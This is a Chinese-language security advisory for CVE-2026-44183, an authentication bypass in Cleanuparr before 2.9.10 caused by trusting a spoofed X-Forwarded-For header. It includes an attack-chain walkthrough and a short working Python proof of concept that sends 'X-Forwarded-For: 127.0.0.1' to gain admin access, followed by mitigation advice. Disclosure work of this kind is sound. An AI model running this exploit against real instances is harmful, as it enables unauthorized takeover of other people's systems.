IPBUF安全漏洞报告
English
CVE-2026-44183 CVSS 9.8 严重

CVE-2026-44183 Cleanuparr 认证绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44183
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cleanuparr

相关标签

认证绕过CleanuparrCVE-2026-44183IP欺骗严重漏洞

漏洞概述

Cleanuparr 是一款用于自动化清理 Sonarr、Radarr 及 qBittorrent 等下载客户端中不受欢迎文件的工具。在 2.9.10 版本之前,该软件的身份验证机制存在严重缺陷。系统错误地将 X-Forwarded-For 请求头最左侧的值解析为客户端 IP。由于该值完全由攻击者控制,远程未认证攻击者可通过发送伪造的本地 IP 地址绕过信任网络检查,无需密码即可登录管理员账户,进而接管系统。该漏洞在 2.9.10 版本中已修复。

技术细节

该漏洞的核心原因在于 Cleanuparr 对 `X-Forwarded-For` (XFF) HTTP 请求头的解析逻辑存在偏差。在 `TrustedNetworkAuthenticationHandler.ResolveClientIp` 方法中,代码直接提取 XFF 头最左侧的条目作为客户端 IP 来源进行信任校验。然而,HTTP 请求头是由客户端发送的,极易被篡改。攻击者只需发送一个包含伪造内网 IP(如 127.0.0.1)的 XFF 头,即可欺骗服务器认为请求来自受信任的本地网络。这导致系统绕过了正常的身份验证流程,直接授予用户管理员权限。由于攻击无需用户交互且无需预先认证,结合其高危害性,该漏洞极易被利用进行远程控制。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,发现对外开放的 Cleanuparr 服务实例。
STEP 2
2. 构造恶意请求
攻击者向 Cleanuparr 服务端发送 HTTP 请求,并在请求头中插入伪造的 'X-Forwarded-For: 127.0.0.1',伪装成本地受信任用户。
STEP 3
3. 绕过认证
服务端解析请求头,将伪造的本地 IP 误判为受信任来源,直接跳过身份验证步骤。
STEP 4
4. 提权与控制
攻击者以管理员身份登录系统,获取系统完全控制权,可清理文件或修改配置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Cleanuparr instance target_url = "http://<target-ip>:<port>/" # The vulnerability relies on the application trusting the leftmost IP in the X-Forwarded-For header. # By spoofing a local IP, we bypass the trusted network authentication. headers = { "X-Forwarded-For": "127.0.0.1", "User-Agent": "PoC-Client/1.0" } try: print(f"Sending request to {target_url} with spoofed IP...") response = requests.get(target_url, headers=headers) # Check if we successfully accessed the admin interface or dashboard if response.status_code == 200 and ("dashboard" in response.text.lower() or "settings" in response.text.lower()): print("[+] Vulnerability exploited successfully! Admin access granted.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Cleanuparr < 2.9.10

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或反向代理(如 Nginx)层面拦截或重写 `X-Forwarded-For` 请求头,确保只有经过验证的反向代理才能设置该头部。同时,应严格限制对 Cleanuparr 端口的网络访问,禁止未受信任的 IP 地址连接。

参考链接